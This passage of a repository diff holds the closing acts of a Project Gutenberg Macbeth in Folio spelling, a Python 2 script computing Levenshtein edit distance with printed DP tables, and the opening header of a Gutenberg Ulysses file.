womanly defence, +To say I haue done no harme? +What are these faces? +Enter Murtherers. + + Mur. Where is your Husband? + Wife. I hope in no place so vnsanctified, +Where such as thou may'st finde him + + Mur. He's a Traitor + + Son. Thou ly'st thou shagge-ear'd Villaine + + Mur. What you Egge? +Yong fry of Treachery? + Son. He ha's kill'd me Mother, +Run away I pray you. + +Exit crying Murther. + + +Scaena Tertia. + +Enter Malcolme and Macduffe. + + Mal. Let vs seeke out some desolate shade, & there +Weepe our sad bosomes empty + + Macd. Let vs rather +Hold fast the mortall Sword: and like good men, +Bestride our downfall Birthdome: each new Morne, +New Widdowes howle, new Orphans cry, new sorowes +Strike heauen on the face, that it resounds +As if it felt with Scotland, and yell'd out +Like Syllable of Dolour + + Mal. What I beleeue, Ile waile; +What know, beleeue; and what I can redresse, +As I shall finde the time to friend: I wil. +What you haue spoke, it may be so perchance. +This Tyrant, whose sole name blisters our tongues, +Was once thought honest: you haue lou'd him well, +He hath not touch'd you yet. I am yong, but something +You may discerne of him through me, and wisedome +To offer vp a weake, poore innocent Lambe +T' appease an angry God + + Macd. I am not treacherous + + Malc. But Macbeth is. +A good and vertuous Nature may recoyle +In an Imperiall charge. But I shall craue your pardon: +That which you are, my thoughts cannot transpose; +Angels are bright still, though the brightest fell. +Though all things foule, would wear the brows of grace +Yet Grace must still looke so + + Macd. I haue lost my Hopes + + Malc. Perchance euen there +Where I did finde my doubts. +Why in that rawnesse left you Wife, and Childe? +Those precious Motiues, those strong knots of Loue, +Without leaue-taking. I pray you, +Let not my Iealousies, be your Dishonors, +But mine owne Safeties: you may be rightly iust, +What euer I shall thinke + + Macd. Bleed, bleed poore Country, +Great Tyrrany, lay thou thy basis sure, +For goodnesse dare not check thee: wear y thy wrongs, +The Title, is affear'd. Far thee well Lord, +I would not be the Villaine that thou think'st, +For the whole Space that's in the Tyrants Graspe, +And the rich East to boot + + Mal. Be not offended: +I speake not as in absolute feare of you: +I thinke our Country sinkes beneath the yoake, +It weepes, it bleeds, and each new day a gash +Is added to her wounds. I thinke withall, +There would be hands vplifted in my right: +And heere from gracious England haue I offer +Of goodly thousands. But for all this, +When I shall treade vpon the Tyrants head, +Or weare it on my Sword; yet my poore Country +Shall haue more vices then it had before, +More suffer, and more sundry wayes then euer, +By him that shall succeede + + Macd. What should he be? + Mal. It is my selfe I meane: in whom I know +All the particulars of Vice so grafted, +That when they shall be open'd, blacke Macbeth +Will seeme as pure as Snow, and the poore State +Esteeme him as a Lambe, being compar'd +With my confinelesse harmes + + Macd. Not in the Legions +Of horrid Hell, can come a Diuell more damn'd +In euils, to top Macbeth + + Mal. I grant him Bloody, +Luxurious, Auaricious, False, Deceitfull, +Sodaine, Malicious, smacking of euery sinne +That ha's a name. But there's no bottome, none +In my Voluptuousnesse: Your Wiues, your Daughters, +Your Matrons, and your Maides, could not fill vp +The Cesterne of my Lust, and my Desire +All continent Impediments would ore-beare +That did oppose my will. Better Macbeth, +Then such an one to reigne + + Macd. Boundlesse intemperance +In Nature is a Tyranny: It hath beene +Th' vntimely emptying of the happy Throne, +And fall of many Kings. But feare not yet +To take vpon you what is yours: you may +Conuey your pleasures in a spacious plenty, +And yet seeme cold. The time you may so hoodwinke: +We haue willing Dames enough: there cannot be +That Vulture in you, to deuoure so many +As will to Greatnesse dedicate themselues, +Finding it so inclinde + + Mal. With this, there growes +In my most ill-composd Affection, such +A stanchlesse Auarice, that were I King, +I should cut off the Nobles for their Lands, +Desire his Iewels, and this others House, +And my more-hauing, would be as a Sawce +To make me hunger more, that I should forge +Quarrels vniust against the Good and Loyall, +Destroying them for wealth + + Macd. This Auarice +stickes deeper: growes with more pernicious roote +Then Summer-seeming Lust: and it hath bin +The Sword of our slaine Kings: yet do not feare, +Scotland hath Foysons, to fill vp your will +Of your meere Owne. All these are portable, +With other Graces weigh'd + + Mal. But I haue none. The King-becoming Graces, +As Iustice, Verity, Temp'rance, Stablenesse, +Bounty, Perseuerance, Mercy, Lowlinesse, +Deuotion, Patience, Courage, Fortitude, +I haue no rellish of them, but abound +In the diuision of each seuerall Crime, +Acting it many wayes. Nay, had I powre, I should +Poure the sweet Milke of Concord, into Hell, +Vprore the vniuersall peace, confound +All vnity on earth + + Macd. O Scotland, Scotland + + Mal. If such a one be fit to gouerne, speake: +I am as I haue spoken + + Mac. Fit to gouern? No not to liue. O Natio[n] miserable! +With an vntitled Tyrant, bloody Sceptred, +When shalt thou see thy wholsome dayes againe? +Since that the truest Issue of thy Throne +By his owne Interdiction stands accust, +And do's blaspheme his breed? Thy Royall Father +Was a most Sainted-King: the Queene that bore thee, +Oftner vpon her knees, then on her feet, +Dy'de euery day she liu'd. Fare thee well, +These Euils thou repeat'st vpon thy selfe, +Hath banish'd me from Scotland. O my Brest, +Thy hope ends heere + + Mal. Macduff, this Noble passion +Childe of integrity, hath from my soule +Wip'd the blacke Scruples, reconcil'd my thoughts +To thy good Truth, and Honor. Diuellish Macbeth, +By many of these traines, hath sought to win me +Into his power: and modest Wisedome pluckes me +From ouer-credulous hast: but God aboue +Deale betweene thee and me; For euen now +I put my selfe to thy Direction, and +Vnspeake mine owne detraction. Heere abiure +The taints, and blames I laide vpon my selfe, +For strangers to my Nature. I am yet +Vnknowne to Woman, neuer was forsworne, +Scarsely haue coueted what was mine owne. +At no time broke my Faith, would not betray +The Deuill to his Fellow, and delight +No lesse in truth then life. My first false speaking +Was this vpon my selfe. What I am truly +Is thine, and my poore Countries to command: +Whither indeed, before they heere approach +Old Seyward with ten thousand warlike men +Already at a point, was setting foorth: +Now wee'l together, and the chance of goodnesse +Be like our warranted Quarrell. Why are you silent? + Macd. Such welcome, and vnwelcom things at once +'Tis hard to reconcile. +Enter a Doctor. + + Mal. Well, more anon. Comes the King forth +I pray you? + Doct. I Sir: there are a crew of wretched Soules +That stay his Cure: their malady conuinces +The great assay of Art. But at his touch, +Such sanctity hath Heauen giuen his hand, +They presently amend. +Enter. + + Mal. I thanke you Doctor + + Macd. What's the Disease he meanes? + Mal. Tis call'd the Euill. +A most myraculous worke in this good King, +Which often since my heere remaine in England, +I haue seene him do: How he solicites heauen +Himselfe best knowes: but strangely visited people +All swolne and Vlcerous, pittifull to the eye, +The meere dispaire of Surgery, he cures, +Hanging a golden stampe about their neckes, +Put on with holy Prayers, and 'tis spoken +To the succeeding Royalty he leaues +The healing Benediction. With this strange vertue, +He hath a heauenly guift of Prophesie, +And sundry Blessings hang about his Throne, +That speake him full of Grace. +Enter Rosse. + + Macd. See who comes heere + + Malc. My Countryman: but yet I know him not + + Macd. My euer gentle Cozen, welcome hither + + Malc. I know him now. Good God betimes remoue +The meanes that makes vs Strangers + + Rosse. Sir, Amen + + Macd. Stands Scotland where it did? + Rosse. Alas poore Countrey, +Almost affraid to know it selfe. It cannot +Be call'd our Mother, but our Graue; where nothing +But who knowes nothing, is once seene to smile: +Where sighes, and groanes, and shrieks that rent the ayre +Are made, not mark'd: Where violent sorrow seemes +A Moderne extasie: The Deadmans knell, +Is there scarse ask'd for who, and good mens liues +Expire before the Flowers in their Caps, +Dying, or ere they sicken + + Macd. Oh Relation; too nice, and yet too true + + Malc. What's the newest griefe? + Rosse. That of an houres age, doth hisse the speaker, +Each minute teemes a new one + + Macd. How do's my Wife? + Rosse. Why well + + Macd. And all my Children? + Rosse. Well too + + Macd. The Tyrant ha's not batter'd at their peace? + Rosse. No, they were wel at peace, when I did leaue 'em + Macd. Be not a niggard of your speech: How gos't? + Rosse. When I came hither to transport the Tydings +Which I haue heauily borne, there ran a Rumour +Of many worthy Fellowes, that were out, +Which was to my beleefe witnest the rather, +For that I saw the Tyrants Power a-foot. +Now is the time of helpe: your eye in Scotland +Would create Soldiours, make our women fight, +To doffe their dire distresses + + Malc. Bee't their comfort +We are comming thither: Gracious England hath +Lent vs good Seyward, and ten thousand men, +An older, and a better Souldier, none +That Christendome giues out + + Rosse. Would I could answer +This comfort with the like. But I haue words +That would be howl'd out in the desert ayre, +Where hearing should not latch them + + Macd. What concerne they, +The generall cause, or is it a Fee-griefe +Due to some single brest? + Rosse. No minde that's honest +But in it shares some woe, though the maine part +Pertaines to you alone + + Macd. If it be mine +Keepe it not from me, quickly let me haue it + + Rosse. Let not your eares dispise my tongue for euer, +Which shall possesse them with the heauiest sound +that euer yet they heard + + Macd. Humh: I guesse at it + + Rosse. Your Castle is surpriz'd: your Wife, and Babes +Sauagely slaughter'd: To relate the manner +Were on the Quarry of these murther'd Deere +To adde the death of you + + Malc. Mercifull Heauen: +What man, ne're pull your hat vpon your browes: +Giue sorrow words; the griefe that do's not speake, +Whispers the o're-fraught heart, and bids it breake + + Macd. My Children too? + Ro. Wife, Children, Seruants, all that could be found + + Macd. And I must be from thence? My wife kil'd too? + Rosse. I haue said + + Malc. Be comforted. +Let's make vs Med'cines of our great Reuenge, +To cure this deadly greefe + + Macd. He ha's no Children. All my pretty ones? +Did you say All? Oh Hell-Kite! All? +What, All my pretty Chickens, and their Damme +At one fell swoope? + Malc. Dispute it like a man + + Macd. I shall do so: +But I must also feele it as a man; +I cannot but remember such things were +That were most precious to me: Did heauen looke on, +And would not take their part? Sinfull Macduff, +They were all strooke for thee: Naught that I am, +Not for their owne demerits, but for mine +Fell slaughter on their soules: Heauen rest them now + + Mal. Be this the Whetstone of your sword, let griefe +Conuert to anger: blunt not the heart, enrage it + + Macd. O I could play the woman with mine eyes, +And Braggart with my tongue. But gentle Heauens, +Cut short all intermission: Front to Front, +Bring thou this Fiend of Scotland, and my selfe +Within my Swords length set him, if he scape +Heauen forgiue him too + + Mal. This time goes manly: +Come go we to the King, our Power is ready, +Our lacke is nothing but our leaue. Macbeth +Is ripe for shaking, and the Powres aboue +Put on their Instruments: Receiue what cheere you may, +The Night is long, that neuer findes the Day. + +Exeunt. + +Actus Quintus. Scena Prima. + +Enter a Doctor of Physicke, and a Wayting Gentlewoman. + + Doct. I haue too Nights watch'd with you, but can +perceiue no truth in your report. When was it shee last +walk'd? + Gent. Since his Maiesty went into the Field, I haue +seene her rise from her bed, throw her Night-Gown vppon +her, vnlocke her Closset, take foorth paper, folde it, +write vpon't, read it, afterwards Seale it, and againe returne +to bed; yet all this while in a most fast sleepe + + Doct. A great perturbation in Nature, to receyue at +once the benefit of sleep, and do the effects of watching. +In this slumbry agitation, besides her walking, and other +actuall performances, what (at any time) haue you heard +her say? + Gent. That Sir, which I will not report after her + + Doct. You may to me, and 'tis most meet you should + + Gent. Neither to you, nor any one, hauing no witnesse +to confirme my speech. +Enter Lady, with a Taper. + +Lo you, heere she comes: This is her very guise, and vpon +my life fast asleepe: obserue her, stand close + + Doct. How came she by that light? + Gent. Why it stood by her: she ha's light by her continually, +'tis her command + + Doct. You see her eyes are open + + Gent. I, but their sense are shut + + Doct. What is it she do's now? +Looke how she rubbes her hands + + Gent. It is an accustom'd action with her, to seeme +thus washing her hands: I haue knowne her continue in +this a quarter of an houre + + Lad. Yet heere's a spot + + Doct. Heark, she speaks, I will set downe what comes +from her, to satisfie my remembrance the more strongly + + La. Out damned spot: out I say. One: Two: Why +then 'tis time to doo't: Hell is murky. Fye, my Lord, fie, +a Souldier, and affear'd? what need we feare? who knowes +it, when none can call our powre to accompt: yet who +would haue thought the olde man to haue had so much +blood in him + + Doct. Do you marke that? + Lad. The Thane of Fife, had a wife: where is she now? +What will these hands ne're be cleane? No more o'that +my Lord, no more o'that: you marre all with this starting + + Doct. Go too, go too: +You haue knowne what you should not + + Gent. She ha's spoke what shee should not, I am sure +of that: Heauen knowes what she ha's knowne + + La. Heere's the smell of the blood still: all the perfumes +of Arabia will not sweeten this little hand. +Oh, oh, oh + + Doct. What a sigh is there? The hart is sorely charg'd + + Gent. I would not haue such a heart in my bosome, +for the dignity of the whole body + + Doct. Well, well, well + + Gent. Pray God it be sir + + Doct. This disease is beyond my practise: yet I haue +knowne those which haue walkt in their sleep, who haue +dyed holily in their beds + + Lad. Wash your hands, put on your Night-Gowne, +looke not so pale: I tell you yet againe Banquo's buried; +he cannot come out on's graue + + Doct. Euen so? + Lady. To bed, to bed: there's knocking at the gate: +Come, come, come, come, giue me your hand: What's +done, cannot be vndone. To bed, to bed, to bed. + +Exit Lady. + + Doct. Will she go now to bed? + Gent. Directly + + Doct. Foule whisp'rings are abroad: vnnaturall deeds +Do breed vnnaturall troubles: infected mindes +To their deafe pillowes will discharge their Secrets: +More needs she the Diuine, then the Physitian: +God, God forgiue vs all. Looke after her, +Remoue from her the meanes of all annoyance, +And still keepe eyes vpon her: So goodnight, +My minde she ha's mated, and amaz'd my sight. +I thinke, but dare not speake + + Gent. Good night good Doctor. + +Exeunt. + + +Scena Secunda. + +Drum and Colours. Enter Menteth, Cathnes, Angus, Lenox, +Soldiers. + + Ment. The English powre is neere, led on by Malcolm, +His Vnkle Seyward, and the good Macduff. +Reuenges burne in them: for their deere causes +Would to the bleeding, and the grim Alarme +Excite the mortified man + + Ang. Neere Byrnan wood +Shall we well meet them, that way are they comming + + Cath. Who knowes if Donalbane be with his brother? + Len. For certaine Sir, he is not: I haue a File +Of all the Gentry; there is Seywards Sonne, +And many vnruffe youths, that euen now +Protest their first of Manhood + + Ment. What do's the Tyrant + + Cath. Great Dunsinane he strongly Fortifies: +Some say hee's mad: Others, that lesser hate him, +Do call it valiant Fury, but for certaine +He cannot buckle his distemper'd cause +Within the belt of Rule + + Ang. Now do's he feele +His secret Murthers sticking on his hands, +Now minutely Reuolts vpbraid his Faith-breach: +Those he commands, moue onely in command, +Nothing in loue: Now do's he feele his Title +Hang loose about him, like a Giants Robe +Vpon a dwarfish Theefe + + Ment. Who then shall blame +His pester'd Senses to recoyle, and start, +When all that is within him, do's condemne +It selfe, for being there + + Cath. Well, march we on, +To giue Obedience, where 'tis truly ow'd: +Meet we the Med'cine of the sickly Weale, +And with him poure we in our Countries purge, +Each drop of vs + + Lenox. Or so much as it needes, +To dew the Soueraigne Flower, and drowne the Weeds: +Make we our March towards Birnan. + +Exeunt. marching. + + +Scaena Tertia. + +Enter Macbeth, Doctor, and Attendants. + + Macb. Bring me no more Reports, let them flye all: +Till Byrnane wood remoue to Dunsinane, +I cannot taint with Feare. What's the Boy Malcolme? +Was he not borne of woman? The Spirits that know +All mortall Consequences, haue pronounc'd me thus: +Feare not Macbeth, no man that's borne of woman +Shall ere haue power vpon thee. Then fly false Thanes, +And mingle with the English Epicures, +The minde I sway by, and the heart I beare, +Shall neuer sagge with doubt, nor shake with feare. +Enter Seruant. + +The diuell damne thee blacke, thou cream-fac'd Loone: +Where got'st thou that Goose-looke + + Ser. There is ten thousand + + Macb. Geese Villaine? + Ser. Souldiers Sir + + Macb. Go pricke thy face, and ouer-red thy feare +Thou Lilly-liuer'd Boy. What Soldiers, Patch? +Death of thy Soule, those Linnen cheekes of thine +Are Counsailers to feare. What Soldiers Whay-face? + Ser. The English Force, so please you + + Macb. Take thy face hence. Seyton, I am sick at hart, +When I behold: Seyton, I say, this push +Will cheere me euer, or dis-eate me now. +I haue liu'd long enough: my way of life +Is falne into the Seare, the yellow Leafe, +And that which should accompany Old-Age, +As Honor, Loue, Obedience, Troopes of Friends, +I must not looke to haue: but in their steed, +Curses, not lowd but deepe, Mouth-honor, breath +Which the poore heart would faine deny, and dare not. +Seyton? +Enter Seyton. + + Sey. What's your gracious pleasure? + Macb. What Newes more? + Sey. All is confirm'd my Lord, which was reported + + Macb. Ile fight, till from my bones, my flesh be hackt. +Giue me my Armor + + Seyt. 'Tis not needed yet + + Macb. Ile put it on: +Send out moe Horses, skirre the Country round, +Hang those that talke of Feare. Giue me mine Armor: +How do's your Patient, Doctor? + Doct. Not so sicke my Lord, +As she is troubled with thicke-comming Fancies +That keepe her from her rest + + Macb. Cure of that: +Can'st thou not Minister to a minde diseas'd, +Plucke from the Memory a rooted Sorrow, +Raze out the written troubles of the Braine, +And with some sweet Obliuious Antidote +Cleanse the stufft bosome, of that perillous stuffe +Which weighes vpon the heart? + Doct. Therein the Patient +Must minister to himselfe + + Macb. Throw Physicke to the Dogs, Ile none of it. +Come, put mine Armour on: giue me my Staffe: +Seyton, send out: Doctor, the Thanes flye from me: +Come sir, dispatch. If thou could'st Doctor, cast +The Water of my Land, finde her Disease, +And purge it to a sound and pristine Health, +I would applaud thee to the very Eccho, +That should applaud againe. Pull't off I say, +What Rubarb, Cyme, or what Purgatiue drugge +Would scowre these English hence: hear'st y of them? + Doct. I my good Lord: your Royall Preparation +Makes vs heare something + + Macb. Bring it after me: +I will not be affraid of Death and Bane, +Till Birnane Forrest come to Dunsinane + + Doct. Were I from Dunsinane away, and cleere, +Profit againe should hardly draw me heere. + +Exeunt. + +Scena Quarta. + +Drum and Colours. Enter Malcolme, Seyward, Macduffe, +Seywards Sonne, +Menteth, Cathnes, Angus, and Soldiers Marching. + + Malc. Cosins, I hope the dayes are neere at hand +That Chambers will be safe + + Ment. We doubt it nothing + + Seyw. What wood is this before vs? + Ment. The wood of Birnane + + Malc. Let euery Souldier hew him downe a Bough, +And bear't before him, thereby shall we shadow +The numbers of our Hoast, and make discouery +Erre in report of vs + + Sold. It shall be done + + Syw. We learne no other, but the confident Tyrant +Keepes still in Dunsinane, and will indure +Our setting downe befor't + + Malc. 'Tis his maine hope: +For where there is aduantage to be giuen, +Both more and lesse haue giuen him the Reuolt, +And none serue with him, but constrained things, +Whose hearts are absent too + + Macd. Let our iust Censures +Attend the true euent, and put we on +Industrious Souldiership + + Sey. The time approaches, +That will with due decision make vs know +What we shall say we haue, and what we owe: +Thoughts speculatiue, their vnsure hopes relate, +But certaine issue, stroakes must arbitrate, +Towards which, aduance the warre. + +Exeunt. marching + +Scena Quinta. + +Enter Macbeth, Seyton, & Souldiers, with Drum and Colours. + + Macb. Hang out our Banners on the outward walls, +The Cry is still, they come: our Castles strength +Will laugh a Siedge to scorne: Heere let them lye, +Till Famine and the Ague eate them vp: +Were they not forc'd with those that should be ours, +We might haue met them darefull, beard to beard, +And beate them backward home. What is that noyse? + +A Cry within of Women. + + Sey. It is the cry of women, my good Lord + + Macb. I haue almost forgot the taste of Feares: +The time ha's beene, my sences would haue cool'd +To heare a Night-shrieke, and my Fell of haire +Would at a dismall Treatise rowze, and stirre +As life were in't. I haue supt full with horrors, +Direnesse familiar to my slaughterous thoughts +Cannot once start me. Wherefore was that cry? + Sey. The Queene (my Lord) is dead + + Macb. She should haue dy'de heereafter; +There would haue beene a time for such a word: +To morrow, and to morrow, and to morrow, +Creepes in this petty pace from day to day, +To the last Syllable of Recorded time: +And all our yesterdayes, haue lighted Fooles +The way to dusty death. Out, out, breefe Candle, +Life's but a walking Shadow, a poore Player, +That struts and frets his houre vpon the Stage, +And then is heard no more. It is a Tale +Told by an Ideot, full of sound and fury +Signifying nothing. +Enter a Messenger. + +Thou com'st to vse thy Tongue: thy Story quickly + + Mes. Gracious my Lord, +I should report that which I say I saw, +But know not how to doo't + + Macb. Well, say sir + + Mes. As I did stand my watch vpon the Hill +I look'd toward Byrnane, and anon me thought +The Wood began to moue + + Macb. Lyar, and Slaue + + Mes. Let me endure your wrath, if't be not so: +Within this three Mile may you see it comming. +I say, a mouing Groue + + Macb. If thou speak'st false, +Vpon the next Tree shall thou hang aliue +Till Famine cling thee: If thy speech be sooth, +I care not if thou dost for me as much. +I pull in Resolution, and begin +To doubt th' Equiuocation of the Fiend, +That lies like truth. Feare not, till Byrnane Wood +Do come to Dunsinane, and now a Wood +Comes toward Dunsinane. Arme, Arme, and out, +If this which he auouches, do's appeare, +There is nor flying hence, nor tarrying here. +I 'ginne to be a-weary of the Sun, +And wish th' estate o'th' world were now vndon. +Ring the Alarum Bell, blow Winde, come wracke, +At least wee'l dye with Harnesse on our backe. + +Exeunt. + +Scena Sexta. + +Drumme and Colours. Enter Malcolme, Seyward, Macduffe, and +their Army, +with Boughes. + + Mal. Now neere enough: +Your leauy Skreenes throw downe, +And shew like those you are: You (worthy Vnkle) +Shall with my Cosin your right Noble Sonne +Leade our first Battell. Worthy Macduffe, and wee +Shall take vpon's what else remaines to do, +According to our order + + Sey. Fare you well: +Do we but finde the Tyrants power to night, +Let vs be beaten, if we cannot fight + + Macd. Make all our Trumpets speak, giue the[m] all breath +Those clamorous Harbingers of Blood, & Death. + +Exeunt. + +Alarums continued. + + +Scena Septima. + +Enter Macbeth. + + Macb. They haue tied me to a stake, I cannot flye, +But Beare-like I must fight the course. What's he +That was not borne of Woman? Such a one +Am I to feare, or none. +Enter young Seyward. + + Y.Sey. What is thy name? + Macb. Thou'lt be affraid to heare it + + Y.Sey. No: though thou call'st thy selfe a hoter name +Then any is in hell + + Macb. My name's Macbeth + + Y.Sey. The diuell himselfe could not pronounce a Title +More hatefull to mine eare + + Macb. No: nor more fearefull + + Y.Sey. Thou lyest abhorred Tyrant, with my Sword +Ile proue the lye thou speak'st. + +Fight, and young Seyward slaine. + + Macb. Thou was't borne of woman; +But Swords I smile at, Weapons laugh to scorne, +Brandish'd by man that's of a Woman borne. +Enter. + +Alarums. Enter Macduffe. + + Macd. That way the noise is: Tyrant shew thy face, +If thou beest slaine, and with no stroake of mine, +My Wife and Childrens Ghosts will haunt me still: +I cannot strike at wretched Kernes, whose armes +Are hyr'd to beare their Staues; either thou Macbeth, +Or else my Sword with an vnbattered edge +I sheath againe vndeeded. There thou should'st be, +By this great clatter, one of greatest note +Seemes bruited. Let me finde him Fortune, +And more I begge not. + +Exit. Alarums. + +Enter Malcolme and Seyward. + + Sey. This way my Lord, the Castles gently rendred: +The Tyrants people, on both sides do fight, +The Noble Thanes do brauely in the Warre, +The day almost it selfe professes yours, +And little is to do + + Malc. We haue met with Foes +That strike beside vs + + Sey. Enter Sir, the Castle. + +Exeunt. Alarum + +Enter Macbeth. + + Macb. Why should I play the Roman Foole, and dye +On mine owne sword? whiles I see liues, the gashes +Do better vpon them. +Enter Macduffe. + + Macd. Turne Hell-hound, turne + + Macb. Of all men else I haue auoyded thee: +But get thee backe, my soule is too much charg'd +With blood of thine already + + Macd. I haue no words, +My voice is in my Sword, thou bloodier Villaine +Then tearmes can giue thee out. + +Fight: Alarum + + Macb. Thou loosest labour +As easie may'st thou the intrenchant Ayre +With thy keene Sword impresse, as make me bleed: +Let fall thy blade on vulnerable Crests, +I beare a charmed Life, which must not yeeld +To one of woman borne + + Macd. Dispaire thy Charme, +And let the Angell whom thou still hast seru'd +Tell thee, Macduffe was from his Mothers womb +Vntimely ript + + Macb. Accursed be that tongue that tels mee so; +For it hath Cow'd my better part of man: +And be these Iugling Fiends no more beleeu'd, +That palter with vs in a double sence, +That keepe the word of promise to our eare, +And breake it to our hope. Ile not fight with thee + + Macd. Then yeeld thee Coward, +And liue to be the shew, and gaze o'th' time. +Wee'l haue thee, as our rarer Monsters are +Painted vpon a pole, and vnder-writ, +Heere may you see the Tyrant + + Macb. I will not yeeld +To kisse the ground before young Malcolmes feet, +And to be baited with the Rabbles curse. +Though Byrnane wood be come to Dunsinane, +And thou oppos'd, being of no woman borne, +Yet I will try the last. Before my body, +I throw my warlike Shield: Lay on Macduffe, +And damn'd be him, that first cries hold, enough. + +Exeunt. fighting. Alarums. + +Enter Fighting, and Macbeth slaine. + +Retreat, and Flourish. Enter with Drumme and Colours, Malcolm, +Seyward, +Rosse, Thanes, & Soldiers. + + Mal. I would the Friends we misse, were safe arriu'd + + Sey. Some must go off: and yet by these I see, +So great a day as this is cheapely bought + + Mal. Macduffe is missing, and your Noble Sonne + + Rosse. Your son my Lord, ha's paid a souldiers debt, +He onely liu'd but till he was a man, +The which no sooner had his Prowesse confirm'd +In the vnshrinking station where he fought, +But like a man he dy'de + + Sey. Then he is dead? + Rosse. I, and brought off the field: your cause of sorrow +Must not be measur'd by his worth, for then +It hath no end + + Sey. Had he his hurts before? + Rosse. I, on the Front + + Sey. Why then, Gods Soldier be he: +Had I as many Sonnes, as I haue haires, +I would not wish them to a fairer death: +And so his Knell is knoll'd + + Mal. Hee's worth more sorrow, +and that Ile spend for him + + Sey. He's worth no more, +They say he parted well, and paid his score, +And so God be with him. Here comes newer comfort. +Enter Macduffe, with Macbeths head. + + Macd. Haile King, for so thou art. +Behold where stands +Th' Vsurpers cursed head: the time is free: +I see thee compast with thy Kingdomes Pearle, +That speake my salutation in their minds: +Whose voyces I desire alowd with mine. +Haile King of Scotland + + All. Haile King of Scotland. + +Flourish. + + Mal. We shall not spend a large expence of time, +Before we reckon with your seuerall loues, +And make vs euen with you. My Thanes and Kinsmen +Henceforth be Earles, the first that euer Scotland +In such an Honor nam'd: What's more to do, +Which would be planted newly with the time, +As calling home our exil'd Friends abroad, +That fled the Snares of watchfull Tyranny, +Producing forth the cruell Ministers +Of this dead Butcher, and his Fiend-like Queene; +Who (as 'tis thought) by selfe and violent hands, +Tooke off her life. This, and what need full else +That call's vpon vs, by the Grace of Grace, +We will performe in measure, time, and place: +So thankes to all at once, and to each one, +Whom we inuite, to see vs Crown'd at Scone. + +Flourish. Exeunt Omnes. + + +FINIS. THE TRAGEDIE OF MACBETH. diff --git a/mccalum/stredit.py b/mccalum/stredit.py new file mode 100644 index 0000000..26a5af6 --- /dev/null +++ b/mccalum/stredit.py @@ -0,0 +1,126 @@ +import sys + +def print_table(s1,s2,table,trace=None): + """print the DP table, t, for strings s1 and s2. + If the optional 'trace' is present, print * indicators for the alignment. + Fancy formatting ensures this will also work when s1 and s2 are lists of strings""" + print " ", + for i in range(len(s1)): + print "%3.3s" % s1[i], + print + for i in range(len(table)): + if i > 0: print "%3.3s" % s2[i-1], + else: print ' ', + for j in range(len(table[i])): + if trace and trace[i][j] == "*": + print "*" + "%2d" % table[i][j], + else: + print "%3d" % table[i][j], + print + +def argmin (*a): + """Return two arguments: first the smallest value, second its offset""" + min = sys.maxint; arg = -1; i = 0 + for x in a: + if (x < min): + min = x; arg = i + i += 1 + return (min,arg) + + +def stredit (s1,s2, showtable=True): + "Calculate Levenstein edit distance for strings s1 and s2." + len1 = len(s1) # vertically + len2 = len(s2) # horizontally + # Allocate the table + table = [None]*(len2+1) + for i in range(len2+1): table[i] = [0]*(len1+1) + # Initialize the table + for i in range(1, len2+1): table[i][0] = i + for i in range(1, len1+1): table[0][i] = i + # Do dynamic programming + for i in range(1,len2+1): + for j in range(1,len1+1): + if s1[j-1] == s2[i-1]: + d = 0 + else: + d = 1 + table[i][j] = min(table[i-1][j-1] + d, + table[i-1][j]+1, + table[i][j-1]+1) + if showtable: + print_table(s1, s2, table) + return table[len2][len1] + +def stredit2 (s1,s2, showtable=True): + "String edit distance, keeping trace of best alignment" + len1 = len(s1) # vertically + len2 = len(s2) # horizontally + # Allocate tables + table = [None]*(len2+1) + for i in range(len2+1): table[i] = [0]*(len1+1) + trace = [None]*(len2+1) + for i in range(len2+1): trace[i] = [None]*(len1+1) + # initialize table + for i in range(1, len2+1): table[i][0] = i + for i in range(1, len1+1): table[0][i] = i + # in the trace table, 0=subst, 1=insert, 2=delete + for i in range(1,len2+1): trace[i][0] = 1 + for j in range(1,len1+1): trace[0][j] = 2 + # Do dynamic programming + for i in range(1,len2+1): + for j in range(1,len1+1): + if s1[j-1] == s2[i-1]: + d = 0 + else: + d = 1 + # if true, the integer value of the first clause in the "or" is 1 + table[i][j],trace[i][j] = argmin(table[i-1][j-1] + d, + table[i-1][j]+1, + table[i][j-1]+1) + if showtable: + # If you are implementing Smith-Waterman, then instead of initializing + # i=len2 and j=len1, you must initialize i and j to the indices + # of the table entry that has the miminum value (it will be negative) + i = len2 + j = len1 + while i != 0 or j != 0: + if trace[i][j] == 0: + nexti = i-1 + nextj = j-1 + elif trace[i][j] == 1: + nexti = i-1 + nextj = j + elif trace[i][j] == 2: + nexti = i + nextj = j-1 + else: + nexti = 0 + nextj = 0 + trace[i][j] = "*" + i = nexti + j = nextj + print "ij", i, j + print_table(s1, s2, table, trace) + return table[len2][len1] + + +#stredit2('mccallum', 'mcalllomo') +#stredit(['this', 'is', 'a', 'test'], ['this', 'will', 'be', 'another', 'test']) +#stredit2("s'allonger", "lounge") +#stredit2("lounge", "s'allonger") +#stredit2('cow over the moon', 'moon in the sky') +#stredit2('another fine day', 'anyone can dive') +#stredit2('another fine day in the park', 'anyone can see him pick the ball') + +# import dicts +# argvlen = len(sys.argv) +# target = sys.argv[argvlen-2].lower() +# filename = sys.argv[argvlen-1] +# d = dicts.DefaultDict(0) +# for word in open(filename).read().split(): +# if word not in d: +# word = word.lower() +# d[word] = stredit(word, target, False) +# print d.sorted(rev=False)[:20] + diff --git a/mccalum/ulyss12.txt b/mccalum/ulyss12.txt new file mode 100644 index 0000000..c78f02e --- /dev/null +++ b/mccalum/ulyss12.txt @@ -0,0 +1,32758 @@ +The Project Gutenberg EBook of Ulysses, by James Joyce +#4 in our series by James Joyce + +Copyright laws are changing all over the world. Be sure to check the +copyright laws for your country before downloading or redistributing +this or any other Project Gutenberg eBook. + +This header should be the first thing seen when viewing this Project +Gutenberg file. Please do not remove it. Do not change or edit the +header without written permission. + +Please read the "legal small print," and other information about the +eBook and Project Gutenberg at the bottom of this file. Included is +important information about your specific rights and restrictions in +how the file may be used. You can also find out about how to make a +donation to Project Gutenberg, and how to get involved. + + +**Welcome To The World of Free Plain Vanilla Electronic Texts** + +**eBooks Readable By Both Humans and By Computers, Since 1971** + +*****These eBooks Were Prepared By Thousands of Volunteers!***** + + +Title: Ulysses + +Author: James Joyce + +Release Date: July, 2003 [EBook #4300] +[This file was first posted on December 27, 2001] +[Edition 12 posted June 30th, 2002] +[Date last updated: November 26, 2004] + +Edition: 12 + +Language: English + +Character set encoding: ASCII + +Please Note: This etext edition of the Project Gutenberg Ulysses by +James Joyce is based on the pre-1923 print editions. Any suggested +changes to this etext should be based on comparison to that print +edition, and not to the new 1986 and later print editions. + + + +*** START OF THE PROJECT GUTENBERG EBOOK ULYSSES *** + + + + +This etext was 